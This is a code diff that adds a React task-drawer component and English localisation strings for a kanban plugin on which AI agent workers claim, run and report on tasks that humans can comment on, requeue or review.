+// Mirrors the review pane's commit-message field: one row tall to start
+// (button-height), CSS field-sizing grows it with content, button hugs the
+// bottom edge as it grows.
+//
+// On a RUNNING task the worker polls its comment thread and folds new notes
+// into the live turn (OUT-OF-BAND steer), so a plain note reaches the agent
+// mid-run within a few seconds — no block/unblock dance. `onRequeue` is the
+// heavier option: post the note AND reclaim so the task restarts from scratch
+// with the note in context (use when the current run has gone off the rails).
+function CommentComposer({
+  onRequeue,
+  onSubmit,
+  pending,
+  running
+}: {
+  onRequeue?: (body: string) => void
+  onSubmit: (body: string) => void
+  pending: boolean
+  running?: boolean
+}) {
+  const k = useKanban()
+  const [body, setBody] = useState('')
+
+  const submit = () => {
+    const trimmed = body.trim()
+
+    if (trimmed && !pending) {
+      onSubmit(trimmed)
+      setBody('')
+    }
+  }
+
+  const requeue = () => {
+    const trimmed = body.trim()
+
+    if (trimmed && !pending && onRequeue) {
+      onRequeue(trimmed)
+      setBody('')
+    }
+  }
+
+  return (
+    <div className="flex flex-col gap-1.5">
+      <div className="relative">
+        <Textarea
+          className={cn('field-sizing-content max-h-40 min-h-0 resize-none', running ? 'pr-[3.5rem]' : 'pr-[5rem]')}
+          onChange={event => setBody(event.target.value)}
+          onKeyDown={event => {
+            if (event.key === 'Enter' && !event.shiftKey) {
+              event.preventDefault()
+              submit()
+            }
+          }}
+          placeholder={running ? k.messageWorker : k.addComment}
+          rows={1}
+          size="sm"
+          value={body}
+        />
+        <Button
+          className="absolute top-1 right-1"
+          disabled={!body.trim() || pending}
+          onClick={submit}
+          size="xs"
+          variant="secondary"
+        >
+          {running ? k.send : k.comment}
+        </Button>
+      </div>
+      {running && onRequeue && (
+        <div className="flex items-center justify-between gap-2">
+          <span className="text-[0.625rem] leading-tight text-(--ui-text-quaternary)">{k.deliveredLive}</span>
+          <Button className="shrink-0" disabled={!body.trim() || pending} onClick={requeue} size="xs" variant="outline">
+            <Codicon name="debug-restart" size="0.7rem" />
+            {k.requeueWithNote}
+          </Button>
+        </div>
+      )}
+    </div>
+  )
+}
+
+function DescriptionSection({ body, onSave }: { body: null | string | undefined; onSave: (body: string) => void }) {
+  const k = useKanban()
+  const [editing, setEditing] = useState(false)
+  const [draft, setDraft] = useState('')
+
+  return (
+    <Section
+      action={
+        <Button
+          aria-label={editing ? k.cancelEdit : k.editDescription}
+          onClick={() => {
+            setDraft(body ?? '')
+            setEditing(!editing)
+          }}
+          size="icon-xs"
+          variant="ghost"
+        >
+          <Codicon name={editing ? 'close' : 'edit'} size="0.75rem" />
+        </Button>
+      }
+      label={k.description}
+    >
+      {editing ? (
+        <div className="flex flex-col gap-1.5">
+          <Textarea
+            className="min-h-24 text-[0.75rem]"
+            onChange={event => setDraft(event.target.value)}
+            value={draft}
+          />
+          <Button
+            className="self-end"
+            onClick={() => {
+              onSave(draft)
+              setEditing(false)
+            }}
+            size="xs"
+            variant="secondary"
+          >
+            {k.save}
+          </Button>
+        </div>
+      ) : body ? (
+        <p className="whitespace-pre-wrap text-[0.8125rem] text-(--ui-text-secondary)">{body}</p>
+      ) : (
+        <p className="text-[0.8125rem] text-(--ui-text-quaternary)">{k.noDescription}</p>
+      )}
+    </Section>
+  )
+}
+
+// `latest_summary` is just the newest non-null run summary. A reclaim writes an
+// administrative note into that slot; hide those (Runs still shows them).
+const isAdminSummary = (summary: string) => /^status changed to \w+ \(dashboard\/direct\)$/.test(summary)
+
+function AttachmentsSection({
+  attachments,
+  onUpload,
+  pending
+}: {
+  attachments: KanbanAttachment[]
+  onUpload: (file: File) => void
+  pending: boolean
+}) {
+  const k = useKanban()
+  const fileRef = useRef<HTMLInputElement>(null)
+
+  return (
+    <Section
+      action={
+        <>
+          <input
+            hidden
+            onChange={event => {
+              const file = event.target.files?.[0]
+
+              if (file) {
+                onUpload(file)
+              }
+
+              event.target.value = ''
+            }}
+            ref={fileRef}
+            type="file"
+          />
+          <Button
+            aria-label={k.uploadAttachment}
+            disabled={pending}
+            onClick={() => fileRef.current?.click()}
+            size="icon-xs"
+            variant="ghost"
+          >
+            <Codicon name={pending ? 'sync' : 'cloud-upload'} size="0.8rem" spinning={pending} />
+          </Button>
+        </>
+      }
+      label={k.attachments(attachments.length)}
+    >
+      {attachments.length > 0 ? (
+        <ul className="flex flex-col gap-1">
+          {attachments.map(attachment => (
+            <li className="flex items-center gap-1.5 text-[0.75rem] text-(--ui-text-tertiary)" key={attachment.id}>
+              <Codicon name="file" size="0.75rem" />
+              {attachment.filename}
+            </li>
+          ))}
+        </ul>
+      ) : (
+        <p className="text-[0.75rem] text-(--ui-text-quaternary)">{k.noAttachments}</p>
+      )}
+    </Section>
+  )
+}
+
+// Rough effort estimate via the auxiliary (auto-routed) model. Tokens +
+// complexity, never dollars — providers don't report cost reliably. Gated
+// behind an explicit click + disclaimer since it makes a model call. The
+// control keeps a stable footprint (spinner swaps in place) so there's no
+// layout jump when it runs.
+function EstimateSection({ id }: { id: string }) {
+  const k = useKanban()
+  const [result, setResult] = useState<null | TaskEstimate>(null)
+
+  const est = useMutation({
+    mutationFn: () => estimateTask(id),
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: r => {
+      if (r.ok) {
+        setResult(r)
+      } else {
+        host.notify({ kind: 'warning', message: r.reason || k.couldNotEstimate })
+      }
+    }
+  })
+
+  // A new task resets the cached estimate (the drawer reuses one instance).
+  useEffect(() => setResult(null), [id])
+
+  return (
+    <Section label={k.estimate}>
+      {result?.ok ? (
+        <div className="flex flex-col gap-1">
+          <div className="flex items-center gap-2 text-[0.8125rem]">
+            <span className="font-medium tabular-nums text-(--ui-text-secondary)">
+              ~{compactNumber(result.est_tokens)} {k.tokUnit}
+            </span>
+            {result.complexity && (
+              <span className="text-(--ui-text-tertiary)">
+                · {k.complexity[result.complexity] ?? result.complexity}
+              </span>
+            )}
+            <Tip label={k.reEstimate}>
+              <Button
+                aria-label={k.reEstimate}
+                className="ml-auto"
+                disabled={est.isPending}
+                onClick={() => est.mutate()}
+                size="icon-xs"
+                variant="ghost"
+              >
+                <Codicon name="refresh" size="0.75rem" spinning={est.isPending} />
+              </Button>
+            </Tip>
+          </div>
+          {result.rationale && (
+            <p className="text-[0.6875rem] leading-relaxed text-(--ui-text-quaternary)">{result.rationale}</p>
+          )}
+        </div>
+      ) : (
+        <div className="flex items-center gap-2">
+          <Button disabled={est.isPending} onClick={() => est.mutate()} size="xs" variant="outline">
+            <Codicon name={est.isPending ? 'loading' : 'dashboard'} size="0.75rem" spinning={est.isPending} />
+            {est.isPending ? k.estimating : k.estimateEffort}
+          </Button>
+          <Tip label={k.estimateTipLong}>
+            <span className="text-[0.625rem] text-(--ui-text-quaternary)">{k.makesModelCall}</span>
+          </Tip>
+        </div>
+      )}
+    </Section>
+  )
+}
+
+export function TaskDrawer({
+  columns,
+  id,
+  onClose,
+  onOpen
+}: {
+  columns: string[]
+  id: null | string
+  onClose: () => void
+  onOpen: (id: string) => void
+}) {
+  const k = useKanban()
+  const qc = useQueryClient()
+  const slug = useValue($boardSlug)
+
+  // Socket-invalidated (bindApi); the interval is only the socketless heartbeat.
+  const { data: detail, error } = useQuery({
+    enabled: !!id,
+    queryFn: () => fetchTask(id!),
+    queryKey: taskKey(slug, id ?? ''),
+    refetchInterval: 30_000
+  })
+
+  const task = detail?.task
+  const running = task?.status === 'running'
+  const defaultAssignee = useDefaultAssignee()
+
+  const { data: log } = useQuery({
+    enabled: !!id,
+    queryFn: () => fetchLog(id!),
+    queryKey: logKey(slug, id ?? ''),
+    refetchInterval: running ? 3_000 : 15_000
+  })
+
+  // Esc closes the drawer even though it isn't modal (no backdrop to click off).
+  useEffect(() => {
+    if (!id) {
+      return
+    }
+
+    const onKey = (event: KeyboardEvent) => event.key === 'Escape' && onClose()
+    window.addEventListener('keydown', onKey)
+
+    return () => window.removeEventListener('keydown', onKey)
+  }, [id, onClose])
+
+  const invalidate = () => {
+    void qc.invalidateQueries({ queryKey: taskKey(slug, id!) })
+    void qc.invalidateQueries({ queryKey: ['kanban', 'board', slug] })
+  }
+
+  // Optimistic status change against the task cache; rolls back + toasts on a
+  // rejected transition (the backend enforces the workflow).
+  const moveMut = useMutation({
+    mutationFn: (status: string) => patchTask(id!, { status }),
+    onMutate: async status => {
+      await qc.cancelQueries({ queryKey: taskKey(slug, id!) })
+      const previous = qc.getQueryData<KanbanTaskDetail>(taskKey(slug, id!))
+
+      if (previous) {
+        qc.setQueryData(taskKey(slug, id!), { ...previous, task: { ...previous.task, status } })
+      }
+
+      return { previous }
+    },
+    onError: (err, _status, context) => {
+      if (context?.previous) {
+        qc.setQueryData(taskKey(slug, id!), context.previous)
+      }
+
+      host.notify({ kind: 'error', message: errText(err) })
+    },
+    onSettled: invalidate
+  })
+
+  const mutate = (fn: () => Promise<unknown>, onDone?: () => void) => () =>
+    fn().then(
+      () => {
+        invalidate()
+        onDone?.()
+      },
+      (err: unknown) => host.notify({ kind: 'error', message: errText(err) })
+    )
+
+  const commentMut = useMutation({
+    mutationFn: (body: string) => addComment(id!, body),
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: invalidate
+  })
+
+  // "Note & requeue" for a running task: post the note, then reclaim so the
+  // dispatcher re-runs it with the note in the worker's context — the one-click
+  // replacement for the block → comment → unblock dance.
+  const requeueMut = useMutation({
+    mutationFn: async (body: string) => {
+      await addComment(id!, body)
+      await reclaimTask(id!)
+    },
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: () => {
+      host.notify({ kind: 'info', message: k.notePosted })
+      invalidate()
+    }
+  })
+
+  const uploadMut = useMutation({
+    mutationFn: async (file: File) =>
+      uploadAttachment(id!, {
+        bytes: await file.arrayBuffer(),
+        contentType: file.type || undefined,
+        filename: file.name
+      }),
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: invalidate
+  })
+
+  if (!id) {
+    return null
+  }
+
+  const errorMessage = error ? errText(error) : null
+
+  const move = (status: string) => {
+    if (!task || status === task.status) {
+      return
+    }
+
+    if (isLockedTarget(status)) {
+      host.notify({ kind: 'info', message: lockedReason(k, status) })
+
+      return
+    }
+
+    moveMut.mutate(status)
+  }
+
+  return (
+    <div className="absolute inset-y-0 right-0 z-20 flex w-[26rem] flex-col border-l border-(--ui-stroke-tertiary) bg-(--ui-bg-elevated) duration-150 ease-out animate-in fade-in slide-in-from-right-4">
+      <header className="flex flex-col gap-2 px-4 pt-3.5 pb-3">
+        <div className="flex items-center gap-2">
+          {task ? (
+            <StatusMenu columns={columns} onMove={move} status={task.status} />
+          ) : (
+            <span className="font-mono text-sm text-(--ui-text-tertiary)">{shortId(id)}</span>
+          )}
+          {task && (
+            <span className="font-mono text-[0.625rem] text-(--ui-text-quaternary)" data-selectable-text="true">
+              {shortId(task.id)}
+            </span>
+          )}
+          <div className="ml-auto flex items-center gap-0.5">
+            {task && (
+              <DropdownMenu>
+                <DropdownMenuTrigger asChild>
+                  <button
+                    aria-label={k.taskActions}
+                    className="grid size-6 place-items-center rounded text-(--ui-text-tertiary) transition-colors hover:bg-(--chrome-action-hover) hover:text-foreground"
+                    type="button"
+                  >
+                    <Codicon name="ellipsis" size="0.9rem" />
+                  </button>
+                </DropdownMenuTrigger>
+                <DropdownMenuContent align="end">
+                  <DropdownMenuItem
+                    onSelect={() => {
+                      void navigator.clipboard.writeText(task.id)
+                      host.notify({ kind: 'info', message: k.copiedId(task.id) })
+                    }}
+                  >
+                    <Codicon name="copy" size="0.85rem" />
+                    {k.copyTaskId}
+                  </DropdownMenuItem>
+                  <DropdownMenuItem
+                    onSelect={() => {
+                      void navigator.clipboard.writeText(task.title || task.id)
+                      host.notify({ kind: 'info', message: k.copiedTitle })
+                    }}
+                  >
+                    <Codicon name="copy" size="0.85rem" />
+                    {k.copyTitle}
+                  </DropdownMenuItem>
+                  <DropdownMenuSeparator />
+                  <DropdownMenuItem onSelect={mutate(() => patchTask(task.id, { status: 'archived' }), onClose)}>
+                    <Codicon name="archive" size="0.85rem" />
+                    {k.archiveTask}
+                  </DropdownMenuItem>
+                  <DropdownMenuItem className="text-destructive" onSelect={mutate(() => deleteTask(task.id), onClose)}>
+                    <Codicon name="trash" size="0.85rem" />
+                    {k.deleteTask}
+                  </DropdownMenuItem>
+                </DropdownMenuContent>
+              </DropdownMenu>
+            )}
+            <button
+              aria-label={k.close}
+              className="grid size-6 place-items-center rounded text-(--ui-text-tertiary) transition-colors hover:bg-(--chrome-action-hover) hover:text-foreground"
+              onClick={onClose}
+              type="button"
+            >
+              <Codicon name="close" size="0.9rem" />
+            </button>
+          </div>
+        </div>
+        {task && (
+          <h2 className="text-sm leading-snug font-semibold text-foreground" data-selectable-text="true">
+            {task.title || task.id}
+          </h2>
+        )}
+      </header>
+
+      <div className="min-h-0 flex-1 overflow-y-auto px-4 pb-4" data-selectable-text="true">
+        {errorMessage ? (
+          <ErrorState title={errorMessage} />
+        ) : !detail || !task ? (
+          <div className="grid h-32 place-items-center">
+            <Loader type="lemniscate-bloom" />
+          </div>
+        ) : (
+          <div className="flex flex-col gap-4 text-sm">
+            <div className="grid grid-cols-[6rem_minmax(0,1fr)] gap-x-3 gap-y-1 text-[0.71rem]">
+              <MetaRow label={k.assignee}>
+                <AssigneeMenu
+                  current={task.assignee}
+                  onReassign={profile => void mutate(() => reassignTask(task.id, profile))()}
+                />
+              </MetaRow>
+              {typeof task.priority === 'number' && <MetaRow label={k.metaPriority}>{task.priority}</MetaRow>}
+              {task.tenant && <MetaRow label={k.metaTenant}>{task.tenant}</MetaRow>}
+              {task.workspace_path && (
+                <MetaRow label={k.workspace}>
+                  {task.workspace_kind ? `${task.workspace_kind}: ` : ''}
+                  {task.workspace_path}
+                </MetaRow>
+              )}
+              <MetaRow label={k.model}>
+                <ModelOverrideField
+                  onChange={next => void mutate(() => patchTask(task.id, overridePatch(next)))()}
+                  value={{
+                    effort: task.reasoning_effort ?? '',
+                    model: task.model_override ?? '',
+                    provider: task.provider_override ?? ''
+                  }}
+                />
+              </MetaRow>
+              {task.created_by && <MetaRow label={k.metaCreatedBy}>{task.created_by}</MetaRow>}
+              {ago(task.created_at) && <MetaRow label={k.metaCreated}>{ago(task.created_at)}</MetaRow>}
+              {running && task.worker_pid ? <MetaRow label={k.metaWorkerPid}>{task.worker_pid}</MetaRow> : null}
+            </div>
+
+            {task.status === 'ready' && !task.assignee && !defaultAssignee && (
+              <Callout title={k.readyUnassignedTitle} tone={SEVERITY_TONE.warning}>
+                <p className="text-[0.71rem] leading-relaxed text-(--ui-text-secondary)">{k.readyUnassignedBody}</p>
+              </Callout>
+            )}
+
+            {task.diagnostics && task.diagnostics.length > 0 && (
+              <Section label={k.diagnosticsN(task.diagnostics.length)}>
+                <Diagnostics items={task.diagnostics} onReclaim={() => void mutate(() => reclaimTask(task.id))()} />
+              </Section>
+            )}
+
+            <DescriptionSection body={task.body} onSave={body => void mutate(() => patchTask(task.id, { body }))()} />
+
+            <EstimateSection id={task.id} />
+
+            {task.result && (
+              <Section label={k.result}>
+                <p className="whitespace-pre-wrap text-[0.8125rem] text-(--ui-text-secondary)">{task.result}</p>
+              </Section>
+            )}
+
+            {task.latest_summary && !isAdminSummary(task.latest_summary) && (
+              <Section label={k.latestSummary}>
+                <p className="whitespace-pre-wrap text-[0.8125rem] text-(--ui-text-secondary)">{task.latest_summary}</p>
+              </Section>
+            )}
+
+            {(detail.links.parents.length > 0 || detail.links.children.length > 0) && (
+              <Section label={k.dependencies}>
+                {(['parents', 'children'] as const).map(side =>
+                  detail.links[side].length > 0 ? (
+                    <div className="flex flex-wrap items-center gap-1.5" key={side}>
+                      <span className="text-[0.6875rem] text-(--ui-text-quaternary)">
+                        {side === 'parents' ? k.blockedBy : k.blocks}
+                      </span>
+                      {detail.links[side].map(linked => (
+                        <button
+                          className="rounded bg-(--ui-bg-quaternary) px-1.5 py-0.5 font-mono text-[0.625rem] text-(--ui-text-secondary) transition-colors hover:bg-(--chrome-action-hover) hover:text-foreground"
+                          key={linked}
+                          onClick={() => onOpen(linked)}
+                          type="button"
+                        >
+                          {shortId(linked)}
+                        </button>
+                      ))}
+                    </div>
+                  ) : null
+                )}
+              </Section>
+            )}
+
+            <Section
+              action={
+                <Tip label={running ? k.commentsHelpRunning : k.commentsHelp}>
+                  <span className="grid size-5 place-items-center rounded text-(--ui-text-quaternary) hover:text-(--ui-text-secondary)">
+                    <Codicon name="question" size="0.8rem" />
+                  </span>
+                </Tip>
+              }
+              label={k.comments(detail.comments.length)}
+            >
+              {detail.comments.length > 0 && (
+                <ul className="flex flex-col gap-2">
+                  {detail.comments.map(comment => (
+                    <li className="text-[0.75rem]" key={comment.id}>
+                      <span className="font-medium text-(--ui-text-secondary)">{comment.author}</span>
+                      <span className="ml-2 text-[0.625rem] text-(--ui-text-quaternary)">
+                        {ago(comment.created_at)}
+                      </span>
+                      <p className="whitespace-pre-wrap text-(--ui-text-tertiary)">{comment.body}</p>
+                    </li>
+                  ))}
+                </ul>
+              )}
+              <CommentComposer
+                onRequeue={body => requeueMut.mutate(body)}
+                onSubmit={body => commentMut.mutate(body)}
+                pending={commentMut.isPending || requeueMut.isPending}
+                running={running}
+              />
+            </Section>
+
+            {detail.events.length > 0 && (
+              <Section label={k.activity(detail.events.length)}>
+                <ScrollFade deps={detail.events.length} max="7rem">
+                  <ul className="flex flex-col gap-1">
+                    {detail.events.map(event => {
+                      const { detail: extra, label } = eventText(event, k)
+
+                      return (
+                        <li className="flex items-baseline gap-2 text-[0.6875rem]" key={event.id}>
+                          <span className="shrink-0 text-(--ui-text-secondary)">{label}</span>
+                          {extra && (
+                            <span
+                              className="min-w-0 truncate text-[0.625rem] text-(--ui-text-quaternary)"
+                              title={extra}
+                            >
+                              {extra}
+                            </span>
+                          )}
+                          <span className="ml-auto shrink-0 text-(--ui-text-quaternary)">{ago(event.created_at)}</span>
+                        </li>
+                      )
+                    })}
+                  </ul>
+                </ScrollFade>
+              </Section>
+            )}
+
+            {detail.runs.length > 0 && (
+              <Section label={k.runs(detail.runs.length)}>
+                <ScrollFade max="11rem">
+                  <ul className="flex flex-col gap-1.5">
+                    {detail.runs.map(run => {
+                      const failed = ['crashed', 'failed', 'timed_out', 'gave_up'].includes(run.outcome ?? run.status)
+
+                      return (
+                        <li className="flex flex-col gap-0.5 text-[0.71rem]" key={run.id}>
+                          <div className="flex items-center gap-2">
+                            <Badge size="xs" variant={failed ? 'destructive' : 'muted'}>
+                              {run.outcome ?? run.status}
+                            </Badge>
+                            {run.profile && <span className="text-(--ui-text-tertiary)">{run.profile}</span>}
+                            {duration(run.started_at, run.ended_at) && (
+                              <span className="text-(--ui-text-quaternary)">
+                                {duration(run.started_at, run.ended_at)}
+                              </span>
+                            )}
+                            <span className="ml-auto shrink-0 text-(--ui-text-quaternary)">
+                              {ago(run.ended_at ?? run.started_at)}
+                            </span>
+                          </div>
+                          {(run.error || run.summary) && (
+                            <p
+                              className={cn(
+                                'line-clamp-2 whitespace-pre-wrap',
+                                run.error ? 'text-destructive' : 'text-(--ui-text-quaternary)'
+                              )}
+                            >
+                              {run.error ?? run.summary}
+                            </p>
+                          )}
+                        </li>
+                      )
+                    })}
+                  </ul>
+                </ScrollFade>
+              </Section>
+            )}
+
+            {log?.exists && log.content && (
+              <Section label={log.truncated ? k.workerLogTail : k.workerLog}>
+                <ScrollFade deps={log.content.length} max="12rem">
+                  <LogView className="border-0 px-0">{log.content}</LogView>
+                </ScrollFade>
+              </Section>
+            )}
+
+            <AttachmentsSection
+              attachments={detail.attachments}
+              onUpload={file => uploadMut.mutate(file)}
+              pending={uploadMut.isPending}
+            />
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/plugins/kanban/i18n.ts b/ui-desktop/src/plugins/kanban/i18n.ts
new file mode 100644
index 000000000..0da68a8e7
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/i18n.ts
@@ -0,0 +1,991 @@
+/**
+ * Plugin-scoped i18n for kanban — bundles shipped under the plugin id via
+ * ctx.i18n.register (#67303), never touching core en.ts. usePluginI18n('kanban')
+ * returns a stringly-typed t(key, …); `useKanban()` binds it to the message
+ * SHAPE so components keep typed `k.newTask` / `k.moveTo(label)` access.
+ */
+
+import { type PluginLocaleBundles, type PluginTranslate, usePluginI18n } from '@clawcodex/plugin-sdk'
+import { useMemo } from 'react'
+
+type KanbanMessages = {
+  nav: string
+  openBoard: string
+  /** Command label — shows in the ⌘K palette AND as the keybind panel row,
+   *  so it carries the "Kanban: " prefix the palette convention wants. */
+  newTaskCommand: string
+  countTip: (running: number, ready: number) => string
+  col: Record<
+    'archived' | 'blocked' | 'done' | 'ready' | 'review' | 'running' | 'scheduled' | 'todo' | 'triage',
+    { label: string; help: string }
+  >
+  locked: { review: string; running: string; scheduled: string }
+  arcRunning: string
+  arcStale: string
+  title: string
+  orchestrationSettings: string
+  newTask: string
+  filterCards: string
+  noMatch: string
+  noTasks: string
+  open: string
+  select: string
+  deselect: string
+  moveTo: (label: string) => string
+  delete: string
+  reviewChecking: string
+  attachedTip: (name: string) => string
+  orchestratorTip: (name: string) => string
+  autoAssignTip: (name: string) => string
+  wontRun: string
+  wontRunTip: string
+  noHeartbeat: string
+  expand: (label: string) => string
+  collapse: (label: string) => string
+  newTaskIn: (label: string) => string
+  empty: string
+  unassigned: string
+  filters: string
+  allProfiles: string
+  allTenants: string
+  showArchived: string
+  groupRunning: string
+  nSelected: (n: number) => string
+  moveToShort: string
+  assign: string
+  unassignAction: string
+  archive: string
+  clearSelection: string
+  refused: string
+  bulkFailed: (failed: number, total: number, err: string) => string
+  titlePlaceholderTriage: string
+  titlePlaceholder: string
+  descPlaceholder: string
+  priority: string
+  workspace: string
+  boardDefaultSuffix: string
+  workspaceOverride: string
+  model: string
+  modelInherit: string
+  modelClear: string
+  modelHint: string
+  workspaceInherit: string
+  workspaceInheritDir: (dir: string) => string
+  workspaceInheritGeneric: string
+  assignee: string
+  defaultOption: (name: string) => string
+  parkedOption: string
+  skills: string
+  skillsPlaceholder: string
+  parent: string
+  noParent: string
+  goalMode: string
+  creating: string
+  createTask: string
+  cancel: string
+  save: string
+  estimate: string
+  estimateEffort: string
+  estimating: string
+  reEstimate: string
+  makesModelCall: string
+  estimateTip: string
+  estimateTipLong: string
+  roughEstimate: string
+  tokUnit: string
+  couldNotEstimate: string
+  complexity: Record<'L' | 'M' | 'S', string>
+  introBody: string
+  introGotIt: string
+  // drawer — activity prose
+  evtCreated: (where: string, assignee: string) => string
+  evtMovedTo: (col: string) => string
+  evtParentReopened: (parent: string) => string
+  evtAssignedTo: (assignee: string) => string
+  evtUnassigned: string
+  evtCommentBy: (author: string) => string
+  evtClaimedReview: string
+  evtClaimedWorker: string
+  evtWorkerStarted: string
+  evtCompleted: string
+  evtBlocked: string
+  evtUnblocked: (col: string) => string
+  evtReclaimed: string
+  evtSpecified: string
+  evtPromoted: string
+  evtScheduled: string
+  evtArchived: string
+  evtReprioritized: (priority: string) => string
+  someone: string
+  // drawer — meta + sections
+  metaPriority: string
+  metaTenant: string
+  metaCreatedBy: string
+  metaCreated: string
+  metaWorkerPid: string
+  readyUnassignedTitle: string
+  readyUnassignedBody: string
+  diagnosticsN: (n: number) => string
+  commandCopied: string
+  description: string
+  editDescription: string
+  cancelEdit: string
+  noDescription: string
+  result: string
+  latestSummary: string
+  dependencies: string
+  blockedBy: string
+  blocks: string
+  comments: (n: number) => string
+  commentsHelpRunning: string
+  commentsHelp: string
+  send: string
+  comment: string
+  messageWorker: string
+  addComment: string
+  deliveredLive: string
+  requeueWithNote: string
+  notePosted: string
+  activity: (n: number) => string
+  runs: (n: number) => string
+  workerLog: string
+  workerLogTail: string
+  attachments: (n: number) => string
+  noAttachments: string
+  uploadAttachment: string
+  taskActions: string
+  copyTaskId: string
+  copyTitle: string
+  copiedId: (id: string) => string
+  copiedTitle: string
+  archiveTask: string
+  deleteTask: string
+  close: string
+  working: string
+  // board switcher
+  board: string
+  newBoard: string
+  newBoardDots: string
+  boardSettings: string
+  boardSettingsFor: (name: string) => string
+  name: string
+  boardNamePlaceholder: string
+  slug: (slug: string) => string
+  project: string
+  noProject: string
+  projectHintPre: string
+  projectHintCmd: string
+  createBoard: string
+  // orchestration
+  orchestratorProfile: string
+  defaultAssignee: string
+  defaultParen: string
+  autoDecompose: string
+  profileDescriptions: string
+  profileDescriptionsHint: string
+  profileGoodAt: string
+  auto: string
+}
+
+const en: KanbanMessages = {
+  nav: 'Kanban',
+  openBoard: 'Kanban: Open board',
+  newTaskCommand: 'Kanban: New task',
+  countTip: (running, ready) => `Kanban — ${running} running, ${ready} ready`,
+  col: {
+    triage: { label: 'Triage', help: 'Raw ideas — a specifier fleshes out the spec.' },
+    todo: { label: 'Todo', help: 'Waiting on dependencies, or unassigned.' },
+    scheduled: { label: 'Scheduled', help: 'Waiting for a scheduled time to arrive.' },
+    ready: { label: 'Ready', help: 'Dependencies satisfied — assign a profile and the dispatcher runs it.' },
+    running: { label: 'Running', help: 'Claimed by a worker — an agent is on it. Set by the dispatcher.' },
+    blocked: { label: 'Blocked', help: 'The worker asked for human input.' },
+    review: { label: 'Review', help: 'A review agent is checking the work. Set by the dispatcher.' },
+    done: { label: 'Done', help: 'Completed; dependent children become ready.' },
+    archived: { label: 'Archived', help: 'Hidden from the default board view.' }
+  },
+  locked: {
+    review: 'Review is entered by the dispatcher when a review agent takes the card.',
+    running: 'Running is set by the dispatcher when a worker claims the card.',
+    scheduled: 'Scheduled needs a wake-up time — agents set it; it can’t be dragged into.'
+  },
+  arcRunning: 'An agent is working on this now.',
+  arcStale: 'Claimed, but no worker heartbeat for 2+ minutes — the dispatcher will reclaim it.',
+  title: 'Kanban',
+  orchestrationSettings: 'Orchestration settings',
+  newTask: 'New task',
+  filterCards: 'Filter cards…',
+  noMatch: 'No tasks match the filters',
+  noTasks: 'No tasks on this board',
+  open: 'Open',
+  select: 'Select (⌘-click)',
+  deselect: 'Deselect',
+  moveTo: label => `Move to ${label}`,
+  delete: 'Delete',
+  reviewChecking: 'A review agent is checking the completed work.',
+  attachedTip: name => `${name} is attached — the dispatcher hands this over on its next tick (≤1m).`,
+  orchestratorTip: name => `${name} (the orchestrator) picks this up on the next tick and writes the spec.`,
+  autoAssignTip: name => `Auto-assigns to “${name}” (kanban.default_assignee) on the next dispatch tick.`,
+  wontRun: "won't run",
+  wontRunTip:
+    'Ready cards only run once a profile is assigned. Open the card and set an assignee, or configure a default assignee in orchestration settings.',
+  noHeartbeat: 'no heartbeat',
+  expand: label => `Expand ${label}`,
+  collapse: label => `Collapse ${label}`,
+  newTaskIn: label => `New task in ${label}`,
+  empty: 'Empty',
+  unassigned: 'unassigned',
+  filters: 'Filters',
+  allProfiles: 'All profiles',
+  allTenants: 'All tenants',
+  showArchived: 'Show archived',
+  groupRunning: 'Group Running by profile',
+  nSelected: n => `${n} selected`,
+  moveToShort: 'Move to',
+  assign: 'Assign',
+  unassignAction: 'Unassign',
+  archive: 'Archive',
+  clearSelection: 'Clear selection (Esc)',
+  refused: 'refused',
+  bulkFailed: (failed, total, err) => `${failed} of ${total} failed — ${err}. Failed cards stay selected.`,
+  titlePlaceholderTriage: 'Rough idea — a specifier will flesh it out',
+  titlePlaceholder: 'Title',
+  descPlaceholder: 'Description (optional)',
+  priority: 'Priority',
+  workspace: 'Workspace',
+  boardDefaultSuffix: ' · board default',
+  workspaceOverride: 'Workspace path (optional override)',
+  model: 'Model',
+  modelInherit: 'Profile default',
+  modelClear: 'Clear model override',
+  modelHint: 'Runs this task on a specific model and thinking depth. Unset uses the assigned profile’s own.',
+  workspaceInherit: 'Inherits the board’s project directory',
+  workspaceInheritDir: dir => `Leave empty to inherit ${dir}`,
+  workspaceInheritGeneric: 'Leave empty to inherit the board’s project directory.',
+  assignee: 'Assignee',
+  defaultOption: name => `${name} (default)`,
+  parkedOption: "unassigned (parked — won't run)",
+  skills: 'Skills (comma-separated)',
+  skillsPlaceholder: 'translation, github',
+  parent: "Parent (blocks until it's done)",
+  noParent: '— no parent —',
+  goalMode: "Goal mode (worker loops until a judge agrees it's done)",
+  creating: 'Creating…',
+  createTask: 'Create task',
+  cancel: 'Cancel',
+  save: 'Save',
+  estimate: 'Estimate',
+  estimateEffort: 'Estimate effort',
+  estimating: 'Estimating…',
+  reEstimate: 'Re-estimate',
+  makesModelCall: 'makes a model call',
+  estimateTip: 'Rough token + complexity estimate from the auxiliary model — makes a model call.',
+  estimateTipLong: 'Runs a quick auxiliary-model call to estimate tokens + complexity. A rough guide, not a bill.',
+  roughEstimate: 'Rough estimate',
+  tokUnit: 'tok',
+  couldNotEstimate: 'Could not estimate',
+  complexity: { S: 'Small', M: 'Medium', L: 'Large' },
+  introBody:
+    'You don’t run the cards — agents do. Put a card in Ready with an assignee and an agent picks it up within a minute. No assignee, no run. Triage: an agent rewrites the idea into a proper task first. Todo: waiting on other cards. Scheduled: waiting on a timer. Running and Review: the agents’ lanes, hands off. Blocked: it’s waiting on you. Results come back on the card.',
+  introGotIt: 'Got it',
+  evtCreated: (where, assignee) =>
+    `created${where ? ` in ${where}` : ''}${assignee ? ` · assigned to ${assignee}` : ''}`,
+  evtMovedTo: col => `moved to ${col}`,
+  evtParentReopened: parent => `parent ${parent} reopened`,
+  evtAssignedTo: assignee => `assigned to ${assignee}`,
+  evtUnassigned: 'unassigned',
+  evtCommentBy: author => `comment by ${author}`,
+  evtClaimedReview: 'claimed by a review agent',
+  evtClaimedWorker: 'claimed by a worker',
+  evtWorkerStarted: 'worker started',
+  evtCompleted: 'completed',
+  evtBlocked: 'blocked — needs human input',
+  evtUnblocked: col => `unblocked${col ? ` → ${col}` : ' → Ready'}`,
